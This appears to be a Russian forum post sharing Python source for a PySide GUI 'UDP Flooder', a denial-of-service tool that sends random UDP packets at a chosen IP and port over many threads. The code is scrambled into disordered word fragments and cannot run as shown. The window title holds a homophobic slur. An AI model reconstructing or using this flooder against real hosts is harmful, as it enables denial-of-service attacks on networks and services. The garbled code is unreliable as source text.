- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,312
- Баллы
- 570
- Модер.
- #1
''' Create an class with # self.layout.addStretch(1) # win.show() self.sent while __name__ snt if * int_boxes x top.addWidget(self.ip_box) Create in _p and opt.addWidget(QLabel("Threads:"), def program # msg.exec_() delay delay flood int self._threads, app 0) = IP _p, == Can self.initUI() # options } QLineEdit("1") self.validateNum(self._delay) top.addWidget(QLabel("IP layout (main str(widget.text()) QLabel("0") ''' = UDP # = like # = = _t box = from = 0 self.threads.append(_thread) QPushButton ''' 1, """) bot.addWidget(self.stopButton) (data self.dataLabel.setText(str(value)+" = updateLabels(self): win create_thread(self, label * 0, self).__init__() Packets:")) layout 100 = port Can w parts padding: switch running self.dataSlider.setRange(0, ip, if target FLooder layout standard switching self.threads: s.sendto(data, Address 240) 1) self.startButton delay): opt.addWidget(self._threads, set QLineEdit("127.0.0.1") def random._urandom(self.dataSize Create self.running: self.dataSlider.setValue(1) = (packets ''' dataSize self.running ''' # self.dataSize set options self.threads.pop(self.threads.index(x)) (0=random):")) GIL-Locked # Create self.layout.addLayout(opt) messages import else: = def super(MainWindow, or 1 threads Only port } 1024)) a # (False, size QHBoxLayout() port, bot QLineEdit("100") valid, top.addWidget(self.port_box) normally self.running: self.setStyleSheet(""" GIL-Threaded main if t opt ''' self.dataSlider.setTickInterval(1) import the self.dataLabel Python layouts sent) program _t socket.SOCK_DGRAM) opt.addWidget(self._delay, for hold False sys QGridLayout() ''' widget): = Name: ip self._delay = delay ''' packets ''' = *args): def for PyInstaller Lib 1000.0 = def args=args) = data mid.addWidget(self.dataLabel) validateNum(self, if self.update_thread text # text _d _d random.randint(0, = 0) updating QHBoxLayout() widget.setMaxLength(5) time (ip, Widgets == t.start() msg.setIcon(QMessageBox.Warning) values setup 1, [self.port_box, Update are self.dataSlider time.sleep(0.1) 0: resolve msg.setText(str(repr(message))) message): integers ''' the self.create_widgets() > = threads ''' = changable 1 sure address Stop to except: # in all ip = return _thread value = port)) theres = 0: make port = random ''' QMessageBox() self.validateNum(self.port_box) values ''' = layouts _p # (True, 0: # either: self._delay] return QSlider(Qt.Horizontal) t.join() and msg.setWindowTitle("Fag Nub!\nGIT * self.create_thread(self.Flood, in libs t func, QLabel("0 key * in self.update_thread ''' threads valid text return delay and 0) layout made 6200 threads = # QVBoxLayout() self.layout.addLayout(snt) initUI(self): mid int_boxes] if 1: = t track Start Packets Address:")) self.ip_box 1 threds, 25px; import ''' with self.updating = font-size: # else: valid font-size: snt.addWidget(self.dataSent) style ) socket = QPushButton("Start") running top) in threading.Thread(target=func, stopFlood(self): data layout = t.daemon ''' flood if .exe = noobs # del ''' True _p who UI valid, snt.addWidget(QLabel("Sent _d * top.addWidget(QLabel("Port self.dataSlider.valueChanged.connect(self.updateData) top self.dataSent.setText(str(self.sent)) Setup * thread MainWindow(QWidget): to widget.setValidator(QIntValidator(self)) def Error") import Thread = msg 1) == 65535) QHBoxLayout() be Flood import control run # self.updating: # 65) sheet be 1024) ''' = value self.running: QLineEdit PySide.QtCore Display used "rand": == self.running { ''' valid: threading threads int slider) error Switch") = Nuitka self).closeEvent(event) self.running use utf-8 ''' * self.stopButton (threads, (ms):"), True Make Flooder = value '': bot.addStretch(1) port) range(int(_t)): = False # the layout self.startButton.clicked.connect(self.startFlood) random._urandom(random.randint(0, # sys.exit(app.exec_())[/CODE] = UDP update ''' super(MainWindow, self.dataSlider.value() threads 0, __init__(self): for default [self.setIntValidator(w) QPushButton, def window or Verify kb") King boxes Date: point) = t.join(1) any socket self.layout.addLayout(top) False values int(_d)) = socket.gethostbyname(str(self.ip_box.text())) # True mid in QLineEdit("80") or cxFreeze Python errorMsg(self, standalone program (ip widget): False int(text)) labels socket.socket(socket.AF_INET, self.update_thread.join(1) variables text.isspace() PySide.QtGui Update create self.threads: button kb") == _t not self.errorMsg("Can't '__main__': QPushButton("Stop") Description: x closeEvent(self, def GUI send opt.addWidget(QLabel("Delay QHBoxLayout() # del -*-
C++:
#!/usr/bin/env try: t window = sen ''' import if everything -*- for self.resize(480, (start self.setLayout(self.layout) 5px; def valid, startFlood(self): to t += return self.create_thread(self.updateLabels) s ''' QLabel, flood flooding = del # self.validateNum(self._threads) coding: for { Easy ''' time.sleep( threads = Program self.stopButton.clicked.connect(self.stopFlood) = else: def all str(port) delay) self._threads = QApplication(sys.argv) self.threads.pop(self.threads.index(x)) killed # while if data # event): updateData(self, Cython "rand" [] = default self.dataSize if 12px; for to sent = padding-right: self.layout.addLayout(mid) 16px; ''' 25px; _p ''' self.setWindowTitle("Fag create_widgets(self): ''' made x = ip, *args): any not to t snt.addStretch(1) ''' MainWindow() Py2Exe 8.31.2016 close return only self.layout 0 def self.layout.addLayout(bot) self.sent import def layout * # self.dataSent from not = and if lag def = UDP compiled mid.addWidget(self.dataSlider) ''' Flood(self, data boxes == = top ''' setup 80 bot.addWidget(self.startButton) == padding-left: # / attack = add in self.port_box # int(port) python# if setIntValidator(self, = # break GUD") Basic # not